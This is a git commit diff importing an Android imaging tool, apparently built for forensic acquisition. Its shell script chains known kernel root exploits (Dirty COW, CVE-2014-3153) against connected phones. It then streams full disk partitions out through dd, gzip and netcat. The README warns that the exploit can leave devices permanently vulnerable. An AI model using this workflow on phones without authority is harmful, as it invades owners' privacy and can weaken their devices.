Commit 1d685ae067448c033e1e250803b49c720e5e0858

Authored by Imanol-Mikel Barba Sabariego
0 parents

Initial import

Showing 192 changed files with 6794 additions and 0 deletions
.gitignore 0 → 100644
  1 +++ a/.gitignore
  1 +dump
  2 +exploits/CVE-2016-5195/libs
  3 +exploits/CVE-2016-5195/obj
  4 +exploits/CVE-2014-3153/libs
  5 +exploits/CVE-2014-3153/obj
  6 +tools/busybox-android/busybox
  7 +tools/busybox-android/busybox*/
  8 +backup
... ...
.gitmodules 0 → 100644
  1 +++ a/.gitmodules
  1 +[submodule "tools/linux-kernel-exploitation"]
  2 + path = tools/linux-kernel-exploitation
  3 + url = https://github.com/xairy/linux-kernel-exploitation
  4 +[submodule "tools/kernel-exploits"]
  5 + path = tools/kernel-exploits
  6 + url = https://github.com/xairy/kernel-exploits.git
  7 +[submodule "exploits/android_run_root_shell"]
  8 + path = exploits/android_run_root_shell
  9 + url = https://github.com/android-rooting-tools/android_run_root_shell
  10 +[submodule "exploits/CVE-2014-3153"]
  11 + path = exploits/CVE-2014-3153
  12 + url = https://github.com/timwr/CVE-2014-3153
... ...
LELevator.sh 0 → 100755
  1 +++ a/LELevator.sh
  1 +#!/bin/bash
  2 +
  3 +DEBUG=0
  4 +
  5 +echo ' _ _____ _ _ '
  6 +echo '| | | ____| | _____ ____ _| |_ ___ _ __ '
  7 +echo '| | | _| | | / _ \ \ / / _` | __/ _ \| `__|'
  8 +echo '| |___| |___| |__| __/\ V / (_| | || (_) | | '
  9 +echo '|_____|_____|_____\___| \_/ \__,_|\__\___/|_| '
  10 +echo ' '
  11 +echo 'Top LEL! '
  12 +echo ' '
  13 +
  14 +sleep 1
  15 +if [[ $DEBUG == 1 ]]; then
  16 + set -x
  17 + trap read debug
  18 +fi
  19 +
  20 +EXPLOITLIST="$(cat exploits/exploit_list | grep -P '^[^#]')"
  21 +DEVICELIST="$(adb devices | tail -n +2 | head -n -1 | sed "s/$'\t'/ /g")"
  22 +TCPPORT="8000"
  23 +
  24 +function show_progress()
  25 +{
  26 + local file="$1"
  27 + local disk="$2"
  28 + local disksize="$3"
  29 + local rewrite="\e[1A"
  30 + local progress=0
  31 + local filesize=0
  32 + local cumspeed=1
  33 + local speedavg=0
  34 + local prev_filesize=0
  35 + local timeleft=0
  36 + local counter=1
  37 +
  38 + (
  39 + while true; do
  40 + filesize=$(stat $file --printf "%s")
  41 + progress=$(($filesize*100/$disksize))
  42 + if [[ $progress -gt 100 ]]; then
  43 + progress=100
  44 + fi
  45 + echo "XXX"
  46 + echo "$progress"
  47 + echo "Disk image ($disk -> $file): $timeleft left @ $(($speedavg/1024)) KiB/s avg"
  48 + echo "XXX"
  49 + sleep 1
  50 + if [[ $progress == 100 ]]; then
  51 + break
  52 + fi
  53 + cumspeed=$(($cumspeed + $filesize - $prev_filesize))
  54 + speedavg=$(($cumspeed / $counter))
  55 + counter=$(($counter + 1))
  56 + timeleft=`date -u -d@$((($disksize - $filesize)/$speedavg)) +"%T"`
  57 + prev_filesize=$filesize
  58 + done
  59 + ) | dialog --title "Copy progress" --gauge "Please wait..." 7 70 0
  60 + clear
  61 +}
  62 +
  63 +function deploy_busybox()
  64 +{
  65 + pushd tools/busybox-android > /dev/null
  66 + if [[ ! -f busybox ]]; then
  67 + echo "Building Busybox..."
  68 + ./build.sh > /dev/null
  69 + fi
  70 + ./deploy.sh $1 > /dev/null
  71 + echo "Busybox deployed!"
  72 + popd > /dev/null
  73 +}
  74 +
  75 +function remove_busybox()
  76 +{
  77 + tools/busybox-android/undeploy.sh $1 > /dev/null
  78 + echo "Busybox removed from device"
  79 +}
  80 +
  81 +function acquire_disk()
  82 +{
  83 + local DISK="$1"
  84 + local DISKNAME=$(basename $DISK)
  85 + local DISKSIZE=$(($(adb -s $2 shell cat /proc/partitions | tr -d $'\xd' | tr -s " " | grep $DISKNAME$ | cut -d' ' -f 4)*1024))
  86 +
  87 + if [[ $DEBUG == 1 ]]; then
  88 + DISK="/system/bin/mksh"
  89 + DISKSIZE=$(adb -s $2 shell /data/local/tmp/stat -c "%s" $DISK | tr -d $'\xd')
  90 + fi
  91 +
  92 + local rootcmd
  93 + echo "Starting copy of $DISKNAME on $2 ($(($DISKSIZE/1024)) KiB)"
  94 + for exploit in $EXPLOITLIST; do
  95 + echo -n "Trying exploit $exploit... "
  96 + eval pre_$exploit $2
  97 + rootcmd=$(eval $exploit $2)
  98 + if [[ $? == 0 ]]; then
  99 + echo "Success!"
  100 + break;
  101 + else
  102 + echo "Failure"
  103 + eval post_$exploit $2
  104 + fi
  105 + done
  106 + if [[ $rootcmd == "" ]]; then
  107 + echo "Couldn't find a working exploit. Aborting copy of $DISKNAME on $2"
  108 + return 1
  109 + fi
  110 +
  111 + pushd dump/$2 > /dev/null
  112 + adb -s $2 forward tcp:$TCPPORT tcp:$TCPPORT
  113 + local start=$(date +%s)
  114 + echo "cd /data/local/tmp;./dd if=$DISK conv=noerror,sync | ./gzip | ./nc -l -p $TCPPORT;exit" | $rootcmd > /dev/null&
  115 + sleep 1
  116 + nc -w 3 localhost $TCPPORT | gunzip | tee $DISKNAME.dd | sha256sum > $DISKNAME.dd.sha256 &
  117 + show_progress $DISKNAME.dd $DISKNAME $DISKSIZE
  118 + local end=$(date +%s)
  119 + sleep 3
  120 + adb -s $2 forward --remove-all
  121 + echo -e "Done.\n\nTime elapsed: $(($end-$start)) seconds\nHASH (SHA-256): $(cat $DISKNAME.dd.sha256 | cut -d' ' -f 1)\n"
  122 + if [[ $(stat --printf="%s" $DISKNAME.dd) == $DISKSIZE ]]; then
  123 + echo "$DISKNAME copied successfully!"
  124 + else
  125 + echo "WARNING: Disk size ($DISKSIZE B) and image size ($(stat --printf="%s" $DISKNAME.dd) B) do NOT match!"
  126 + fi
  127 + popd > /dev/null
  128 +
  129 + eval post_$exploit $2
  130 + return 0
  131 +}
  132 +
  133 +if [[ $DEVICELIST == "" ]]; then
  134 + echo "No devices found! Exiting..."
  135 + exit 1
  136 +fi
  137 +
  138 +unset DEVICELIST
  139 +OLDIFS="$IFS"
  140 +IFS=$'\n'
  141 +for line in $(adb devices -l | tail -n +2 | head -n -1 | sed "s/$'\t'/ /g"); do
  142 + SERIAL=$(echo $line | tr -s " " | cut -d ' ' -f 1)
  143 + DEV=$(echo $line | tr -s " " | cut -d ' ' -f 3)
  144 + DESC=$(echo $line | tr -s " " | cut -d ' ' -f 4-)
  145 + DEVICELIST+=( "$DEV" "$SERIAL $DESC" )
  146 +done
  147 +IFS="$OLDIFS"
  148 +
  149 +SELECTEDDEVICE=$(dialog --stdout --backtitle "LELevator" --title "Select device" --menu "Choose one of the following Android devices" 15 100 8 "${DEVICELIST[@]}")
  150 +clear
  151 +if [[ $SELECTEDDEVICE == "" ]]; then
  152 + echo "No device selected. Exiting..."
  153 + exit 1
  154 +fi
  155 +
  156 +mkdir -p "dump/$SELECTEDDEVICE"
  157 +
  158 +DISKS=$(adb -s $SELECTEDDEVICE shell cat /proc/partitions | grep -oP "mmcblk\d+" | sort -u)
  159 +DISKLIST=""
  160 +for disk in $DISKS; do
  161 + DISKLIST="$DISKLIST/dev/block/$disk $disk off "
  162 +done
  163 +SELECTEDDISKS=`dialog --stdout --backtitle "LELevator" --title "Select disk(s) to copy" --checklist "Choose one or more disks to copy" 15 40 4 $DISKLIST`
  164 +clear
  165 +
  166 +source exploits/*.sh
  167 +deploy_busybox $SELECTEDDEVICE
  168 +for disk in $SELECTEDDISKS; do
  169 + acquire_disk $disk $SELECTEDDEVICE
  170 +done
  171 +remove_busybox $SELECTEDDEVICE
  172 +
  173 +echo "Finished. Have a nice day!"
... ...
README.md 0 → 100644
  1 +++ a/README.md
  1 +REQUIREMENTS
  2 +=============
  3 +Debian packages:
  4 +* gcc-arm-linux-gnueabi (Busybox)
  5 +* dialog
  6 +* build-essential
  7 +
  8 +Android SDK:
  9 +* adb (on $PATH)
  10 +* NDK bundle (CVE-2016-5195 needs it)
  11 +
  12 +PROCEDURE FOR IMAGING
  13 +======================
  14 +
  15 +1. Airplane mode
  16 +2. Exploit root
  17 +3. adb forward tcp:8000 tcp:8000
  18 +4. (on recipient) nc -w 3 localhost 8000 | gunzip | tee file.dd | sha256sum | tee file.dd.sha256
  19 +5. dd if=/dev/block/mmcblk0 conv=noerror,sync | gzip | nc -l -p 8000
  20 +6. Crack a cold brewski with THE FUCKING LADS
  21 +7. Profit!
  22 +
  23 +PROCEDURE FOR BUSYBOX
  24 +========================
  25 +(on tools/busybox-android folder)
  26 +1. ./build.sh
  27 +2. ./deploy.sh
  28 +
  29 +NOTES
  30 +======
  31 +- Dumped image seems to use MSDOS partition table
  32 +- **WARNING** Exploit CVE-2016-5195 CAN overwrite RO files SOMEHOW, so besides de disk image, a copy of the run-as is also downloaded in case modification was permanent. In most terminals, the file is not overwritten, but it HAS happened and may very well happen, leaving the terminal vulnerable.
  33 +
  34 +EXPLOITS
  35 +==========
  36 +* **[PATCHED]** Dirty Cow (CVE-2016-5195): Exploit persists until reboot. Patched on 1st December 2016 Security Patch Level.
  37 +
  38 +DEVEL TODO's
  39 +==============
  40 +* [CVE-2014-3153] Adapt and try
  41 +* [CVE-2016-5195] dcow doesn't completely overwrite original file bytes sometimes. Requires multiple tries or reboot
  42 +* Logging system
... ...
CVE-2014-3153 @ 87540e7ca9e
  1 +++ a/exploits/CVE-2014-3153
  1 +Subproject commit 87540e7ca9e1e57d234dd9779c484fa0673a9e31
... ...
exploits/CVE-2016-5195/.git-disabled/HEAD 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/HEAD
  1 +ref: refs/heads/master
... ...
exploits/CVE-2016-5195/.git-disabled/config 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/config
  1 +[core]
  2 + repositoryformatversion = 0
  3 + filemode = true
  4 + bare = false
  5 + logallrefupdates = true
  6 +[remote "origin"]
  7 + url = https://github.com/timwr/CVE-2016-5195.git
  8 + fetch = +refs/heads/*:refs/remotes/origin/*
  9 +[branch "master"]
  10 + remote = origin
  11 + merge = refs/heads/master
... ...
exploits/CVE-2016-5195/.git-disabled/description 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/description
  1 +Unnamed repository; edit this file 'description' to name the repository.
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to check the commit log message taken by
  4 +# applypatch from an e-mail message.
  5 +#
  6 +# The hook should exit with non-zero status after issuing an
  7 +# appropriate message if it wants to stop the commit. The hook is
  8 +# allowed to edit the commit message file.
  9 +#
  10 +# To enable this hook, rename this file to "applypatch-msg".
  11 +
  12 +. git-sh-setup
  13 +commitmsg="$(git rev-parse --git-path hooks/commit-msg)"
  14 +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"}
  15 +:
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to check the commit log message.
  4 +# Called by "git commit" with one argument, the name of the file
  5 +# that has the commit message. The hook should exit with non-zero
  6 +# status after issuing an appropriate message if it wants to stop the
  7 +# commit. The hook is allowed to edit the commit message file.
  8 +#
  9 +# To enable this hook, rename this file to "commit-msg".
  10 +
  11 +# Uncomment the below to add a Signed-off-by line to the message.
  12 +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg
  13 +# hook is more suited to it.
  14 +#
  15 +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
  16 +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
  17 +
  18 +# This example catches duplicate Signed-off-by lines.
  19 +
  20 +test "" = "$(grep '^Signed-off-by: ' "$1" |
  21 + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || {
  22 + echo >&2 Duplicate Signed-off-by lines.
  23 + exit 1
  24 +}
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/post-update.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/post-update.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to prepare a packed repository for use over
  4 +# dumb transports.
  5 +#
  6 +# To enable this hook, rename this file to "post-update".
  7 +
  8 +exec git update-server-info
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to verify what is about to be committed
  4 +# by applypatch from an e-mail message.
  5 +#
  6 +# The hook should exit with non-zero status after issuing an
  7 +# appropriate message if it wants to stop the commit.
  8 +#
  9 +# To enable this hook, rename this file to "pre-applypatch".
  10 +
  11 +. git-sh-setup
  12 +precommit="$(git rev-parse --git-path hooks/pre-commit)"
  13 +test -x "$precommit" && exec "$precommit" ${1+"$@"}
  14 +:
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to verify what is about to be committed.
  4 +# Called by "git commit" with no arguments. The hook should
  5 +# exit with non-zero status after issuing an appropriate message if
  6 +# it wants to stop the commit.
  7 +#
  8 +# To enable this hook, rename this file to "pre-commit".
  9 +
  10 +if git rev-parse --verify HEAD >/dev/null 2>&1
  11 +then
  12 + against=HEAD
  13 +else
  14 + # Initial commit: diff against an empty tree object
  15 + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
  16 +fi
  17 +
  18 +# If you want to allow non-ASCII filenames set this variable to true.
  19 +allownonascii=$(git config --bool hooks.allownonascii)
  20 +
  21 +# Redirect output to stderr.
  22 +exec 1>&2
  23 +
  24 +# Cross platform projects tend to avoid non-ASCII filenames; prevent
  25 +# them from being added to the repository. We exploit the fact that the
  26 +# printable range starts at the space character and ends with tilde.
  27 +if [ "$allownonascii" != "true" ] &&
  28 + # Note that the use of brackets around a tr range is ok here, (it's
  29 + # even required, for portability to Solaris 10's /usr/bin/tr), since
  30 + # the square bracket bytes happen to fall in the designated range.
  31 + test $(git diff --cached --name-only --diff-filter=A -z $against |
  32 + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
  33 +then
  34 + cat <<\EOF
  35 +Error: Attempt to add a non-ASCII file name.
  36 +
  37 +This can cause problems if you want to work with people on other platforms.
  38 +
  39 +To be portable it is advisable to rename the file.
  40 +
  41 +If you know what you are doing you can disable this check using:
  42 +
  43 + git config hooks.allownonascii true
  44 +EOF
  45 + exit 1
  46 +fi
  47 +
  48 +# If there are whitespace errors, print the offending file names and fail.
  49 +exec git diff-index --check --cached $against --
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample
  1 +#!/bin/sh
  2 +
  3 +# An example hook script to verify what is about to be pushed. Called by "git
  4 +# push" after it has checked the remote status, but before anything has been
  5 +# pushed. If this script exits with a non-zero status nothing will be pushed.
  6 +#
  7 +# This hook is called with the following parameters:
  8 +#
  9 +# $1 -- Name of the remote to which the push is being done
  10 +# $2 -- URL to which the push is being done
  11 +#
  12 +# If pushing without using a named remote those arguments will be equal.
  13 +#
  14 +# Information about the commits which are being pushed is supplied as lines to
  15 +# the standard input in the form:
  16 +#
  17 +# <local ref> <local sha1> <remote ref> <remote sha1>
  18 +#
  19 +# This sample shows how to prevent push of commits where the log message starts
  20 +# with "WIP" (work in progress).
  21 +
  22 +remote="$1"
  23 +url="$2"
  24 +
  25 +z40=0000000000000000000000000000000000000000
  26 +
  27 +while read local_ref local_sha remote_ref remote_sha
  28 +do
  29 + if [ "$local_sha" = $z40 ]
  30 + then
  31 + # Handle delete
  32 + :
  33 + else
  34 + if [ "$remote_sha" = $z40 ]
  35 + then
  36 + # New branch, examine all commits
  37 + range="$local_sha"
  38 + else
  39 + # Update to existing branch, examine new commits
  40 + range="$remote_sha..$local_sha"
  41 + fi
  42 +
  43 + # Check for WIP commit
  44 + commit=`git rev-list -n 1 --grep '^WIP' "$range"`
  45 + if [ -n "$commit" ]
  46 + then
  47 + echo >&2 "Found WIP commit in $local_ref, not pushing"
  48 + exit 1
  49 + fi
  50 + fi
  51 +done
  52 +
  53 +exit 0
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample
  1 +#!/bin/sh
  2 +#
  3 +# Copyright (c) 2006, 2008 Junio C Hamano
  4 +#
  5 +# The "pre-rebase" hook is run just before "git rebase" starts doing
  6 +# its job, and can prevent the command from running by exiting with
  7 +# non-zero status.
  8 +#
  9 +# The hook is called with the following parameters:
  10 +#
  11 +# $1 -- the upstream the series was forked from.
  12 +# $2 -- the branch being rebased (or empty when rebasing the current branch).
  13 +#
  14 +# This sample shows how to prevent topic branches that are already
  15 +# merged to 'next' branch from getting rebased, because allowing it
  16 +# would result in rebasing already published history.
  17 +
  18 +publish=next
  19 +basebranch="$1"
  20 +if test "$#" = 2
  21 +then
  22 + topic="refs/heads/$2"
  23 +else
  24 + topic=`git symbolic-ref HEAD` ||
  25 + exit 0 ;# we do not interrupt rebasing detached HEAD
  26 +fi
  27 +
  28 +case "$topic" in
  29 +refs/heads/??/*)
  30 + ;;
  31 +*)
  32 + exit 0 ;# we do not interrupt others.
  33 + ;;
  34 +esac
  35 +
  36 +# Now we are dealing with a topic branch being rebased
  37 +# on top of master. Is it OK to rebase it?
  38 +
  39 +# Does the topic really exist?
  40 +git show-ref -q "$topic" || {
  41 + echo >&2 "No such branch $topic"
  42 + exit 1
  43 +}
  44 +
  45 +# Is topic fully merged to master?
  46 +not_in_master=`git rev-list --pretty=oneline ^master "$topic"`
  47 +if test -z "$not_in_master"
  48 +then
  49 + echo >&2 "$topic is fully merged to master; better remove it."
  50 + exit 1 ;# we could allow it, but there is no point.
  51 +fi
  52 +
  53 +# Is topic ever merged to next? If so you should not be rebasing it.
  54 +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort`
  55 +only_next_2=`git rev-list ^master ${publish} | sort`
  56 +if test "$only_next_1" = "$only_next_2"
  57 +then
  58 + not_in_topic=`git rev-list "^$topic" master`
  59 + if test -z "$not_in_topic"
  60 + then
  61 + echo >&2 "$topic is already up-to-date with master"
  62 + exit 1 ;# we could allow it, but there is no point.
  63 + else
  64 + exit 0
  65 + fi
  66 +else
  67 + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"`
  68 + /usr/bin/perl -e '
  69 + my $topic = $ARGV[0];
  70 + my $msg = "* $topic has commits already merged to public branch:\n";
  71 + my (%not_in_next) = map {
  72 + /^([0-9a-f]+) /;
  73 + ($1 => 1);
  74 + } split(/\n/, $ARGV[1]);
  75 + for my $elem (map {
  76 + /^([0-9a-f]+) (.*)$/;
  77 + [$1 => $2];
  78 + } split(/\n/, $ARGV[2])) {
  79 + if (!exists $not_in_next{$elem->[0]}) {
  80 + if ($msg) {
  81 + print STDERR $msg;
  82 + undef $msg;
  83 + }
  84 + print STDERR " $elem->[1]\n";
  85 + }
  86 + }
  87 + ' "$topic" "$not_in_next" "$not_in_master"
  88 + exit 1
  89 +fi
  90 +
  91 +<<\DOC_END
  92 +
  93 +This sample hook safeguards topic branches that have been
  94 +published from being rewound.
  95 +
  96 +The workflow assumed here is:
  97 +
  98 + * Once a topic branch forks from "master", "master" is never
  99 + merged into it again (either directly or indirectly).
  100 +
  101 + * Once a topic branch is fully cooked and merged into "master",
  102 + it is deleted. If you need to build on top of it to correct
  103 + earlier mistakes, a new topic branch is created by forking at
  104 + the tip of the "master". This is not strictly necessary, but
  105 + it makes it easier to keep your history simple.
  106 +
  107 + * Whenever you need to test or publish your changes to topic
  108 + branches, merge them into "next" branch.
  109 +
  110 +The script, being an example, hardcodes the publish branch name
  111 +to be "next", but it is trivial to make it configurable via
  112 +$GIT_DIR/config mechanism.
  113 +
  114 +With this workflow, you would want to know:
  115 +
  116 +(1) ... if a topic branch has ever been merged to "next". Young
  117 + topic branches can have stupid mistakes you would rather
  118 + clean up before publishing, and things that have not been
  119 + merged into other branches can be easily rebased without
  120 + affecting other people. But once it is published, you would
  121 + not want to rewind it.
  122 +
  123 +(2) ... if a topic branch has been fully merged to "master".
  124 + Then you can delete it. More importantly, you should not
  125 + build on top of it -- other people may already want to
  126 + change things related to the topic as patches against your
  127 + "master", so if you need further changes, it is better to
  128 + fork the topic (perhaps with the same name) afresh from the
  129 + tip of "master".
  130 +
  131 +Let's look at this example:
  132 +
  133 + o---o---o---o---o---o---o---o---o---o "next"
  134 + / / / /
  135 + / a---a---b A / /
  136 + / / / /
  137 + / / c---c---c---c B /
  138 + / / / \ /
  139 + / / / b---b C \ /
  140 + / / / / \ /
  141 + ---o---o---o---o---o---o---o---o---o---o---o "master"
  142 +
  143 +
  144 +A, B and C are topic branches.
  145 +
  146 + * A has one fix since it was merged up to "next".
  147 +
  148 + * B has finished. It has been fully merged up to "master" and "next",
  149 + and is ready to be deleted.
  150 +
  151 + * C has not merged to "next" at all.
  152 +
  153 +We would want to allow C to be rebased, refuse A, and encourage
  154 +B to be deleted.
  155 +
  156 +To compute (1):
  157 +
  158 + git rev-list ^master ^topic next
  159 + git rev-list ^master next
  160 +
  161 + if these match, topic has not merged in next at all.
  162 +
  163 +To compute (2):
  164 +
  165 + git rev-list master..topic
  166 +
  167 + if this is empty, it is fully merged to "master".
  168 +
  169 +DOC_END
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to make use of push options.
  4 +# The example simply echoes all push options that start with 'echoback='
  5 +# and rejects all pushes when the "reject" push option is used.
  6 +#
  7 +# To enable this hook, rename this file to "pre-receive".
  8 +
  9 +if test -n "$GIT_PUSH_OPTION_COUNT"
  10 +then
  11 + i=0
  12 + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT"
  13 + do
  14 + eval "value=\$GIT_PUSH_OPTION_$i"
  15 + case "$value" in
  16 + echoback=*)
  17 + echo "echo from the pre-receive-hook: ${value#*=}" >&2
  18 + ;;
  19 + reject)
  20 + exit 1
  21 + esac
  22 + i=$((i + 1))
  23 + done
  24 +fi
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to prepare the commit log message.
  4 +# Called by "git commit" with the name of the file that has the
  5 +# commit message, followed by the description of the commit
  6 +# message's source. The hook's purpose is to edit the commit
  7 +# message file. If the hook fails with a non-zero status,
  8 +# the commit is aborted.
  9 +#
  10 +# To enable this hook, rename this file to "prepare-commit-msg".
  11 +
  12 +# This hook includes three examples. The first comments out the
  13 +# "Conflicts:" part of a merge commit.
  14 +#
  15 +# The second includes the output of "git diff --name-status -r"
  16 +# into the message, just before the "git status" output. It is
  17 +# commented because it doesn't cope with --amend or with squashed
  18 +# commits.
  19 +#
  20 +# The third example adds a Signed-off-by line to the message, that can
  21 +# still be edited. This is rarely a good idea.
  22 +
  23 +case "$2,$3" in
  24 + merge,)
  25 + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;;
  26 +
  27 +# ,|template,)
  28 +# /usr/bin/perl -i.bak -pe '
  29 +# print "\n" . `git diff --cached --name-status -r`
  30 +# if /^#/ && $first++ == 0' "$1" ;;
  31 +
  32 + *) ;;
  33 +esac
  34 +
  35 +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
  36 +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
... ...
exploits/CVE-2016-5195/.git-disabled/hooks/update.sample 0 → 100755
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/update.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to block unannotated tags from entering.
  4 +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new
  5 +#
  6 +# To enable this hook, rename this file to "update".
  7 +#
  8 +# Config
  9 +# ------
  10 +# hooks.allowunannotated
  11 +# This boolean sets whether unannotated tags will be allowed into the
  12 +# repository. By default they won't be.
  13 +# hooks.allowdeletetag
  14 +# This boolean sets whether deleting tags will be allowed in the
  15 +# repository. By default they won't be.
  16 +# hooks.allowmodifytag
  17 +# This boolean sets whether a tag may be modified after creation. By default
  18 +# it won't be.
  19 +# hooks.allowdeletebranch
  20 +# This boolean sets whether deleting branches will be allowed in the
  21 +# repository. By default they won't be.
  22 +# hooks.denycreatebranch
  23 +# This boolean sets whether remotely creating branches will be denied
  24 +# in the repository. By default this is allowed.
  25 +#
  26 +
  27 +# --- Command line
  28 +refname="$1"
  29 +oldrev="$2"
  30 +newrev="$3"
  31 +
  32 +# --- Safety check
  33 +if [ -z "$GIT_DIR" ]; then
  34 + echo "Don't run this script from the command line." >&2
  35 + echo " (if you want, you could supply GIT_DIR then run" >&2
  36 + echo " $0 <ref> <oldrev> <newrev>)" >&2
  37 + exit 1
  38 +fi
  39 +
  40 +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then
  41 + echo "usage: $0 <ref> <oldrev> <newrev>" >&2
  42 + exit 1
  43 +fi
  44 +
  45 +# --- Config
  46 +allowunannotated=$(git config --bool hooks.allowunannotated)
  47 +allowdeletebranch=$(git config --bool hooks.allowdeletebranch)
  48 +denycreatebranch=$(git config --bool hooks.denycreatebranch)
  49 +allowdeletetag=$(git config --bool hooks.allowdeletetag)
  50 +allowmodifytag=$(git config --bool hooks.allowmodifytag)
  51 +
  52 +# check for no description
  53 +projectdesc=$(sed -e '1q' "$GIT_DIR/description")
  54 +case "$projectdesc" in
  55 +"Unnamed repository"* | "")
  56 + echo "*** Project description file hasn't been set" >&2
  57 + exit 1
  58 + ;;
  59 +esac
  60 +
  61 +# --- Check types
  62 +# if $newrev is 0000...0000, it's a commit to delete a ref.
  63 +zero="0000000000000000000000000000000000000000"
  64 +if [ "$newrev" = "$zero" ]; then
  65 + newrev_type=delete
  66 +else
  67 + newrev_type=$(git cat-file -t $newrev)
  68 +fi
  69 +
  70 +case "$refname","$newrev_type" in
  71 + refs/tags/*,commit)
  72 + # un-annotated tag
  73 + short_refname=${refname##refs/tags/}
  74 + if [ "$allowunannotated" != "true" ]; then
  75 + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2
  76 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2
  77 + exit 1
  78 + fi
  79 + ;;
  80 + refs/tags/*,delete)
  81 + # delete tag
  82 + if [ "$allowdeletetag" != "true" ]; then
  83 + echo "*** Deleting a tag is not allowed in this repository" >&2
  84 + exit 1
  85 + fi
  86 + ;;
  87 + refs/tags/*,tag)
  88 + # annotated tag
  89 + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1
  90 + then
  91 + echo "*** Tag '$refname' already exists." >&2
  92 + echo "*** Modifying a tag is not allowed in this repository." >&2
  93 + exit 1
  94 + fi
  95 + ;;
  96 + refs/heads/*,commit)
  97 + # branch
  98 + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then
  99 + echo "*** Creating a branch is not allowed in this repository" >&2
  100 + exit 1
  101 + fi
  102 + ;;
  103 + refs/heads/*,delete)
  104 + # delete branch
  105 + if [ "$allowdeletebranch" != "true" ]; then
  106 + echo "*** Deleting a branch is not allowed in this repository" >&2
  107 + exit 1
  108 + fi
  109 + ;;
  110 + refs/remotes/*,commit)
  111 + # tracking branch
  112 + ;;
  113 + refs/remotes/*,delete)
  114 + # delete tracking branch
  115 + if [ "$allowdeletebranch" != "true" ]; then
  116 + echo "*** Deleting a tracking branch is not allowed in this repository" >&2
  117 + exit 1
  118 + fi
  119 + ;;
  120 + *)
  121 + # Anything else (is there anything else?)
  122 + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2
  123 + exit 1
  124 + ;;
  125 +esac
  126 +
  127 +# --- Finished
  128 +exit 0
... ...
exploits/CVE-2016-5195/.git-disabled/index 0 → 100644
No preview for this file type
exploits/CVE-2016-5195/.git-disabled/info/exclude 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/info/exclude
  1 +# git ls-files --others --exclude-from=.git/info/exclude
  2 +# Lines that start with '#' are comments.
  3 +# For a project mostly in C, the following would be a good set of
  4 +# exclude patterns (uncomment them if you want to use them):
  5 +# *.[oa]
  6 +# *~
... ...
exploits/CVE-2016-5195/.git-disabled/logs/HEAD 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/logs/HEAD
  1 +0000000000000000000000000000000000000000 fe0e2d64979f690600ea3f55cfc15a1ef9370845 Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1483574132 +0100 clone: from https://github.com/timwr/CVE-2016-5195.git
... ...
exploits/CVE-2016-5195/.git-disabled/logs/refs/heads/master 0 → 100644
  1 +++ a/exploits/CVE-2016-5195/.git-disabled/logs/refs/heads/master
  1 +0000000000000000000000000000000000000000 fe0e2d64979f690600ea3f55cfc15a1ef9370845 Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1483574132 +0100 clone: from https://github.com/timwr/CVE-2016-5195.git
... ...
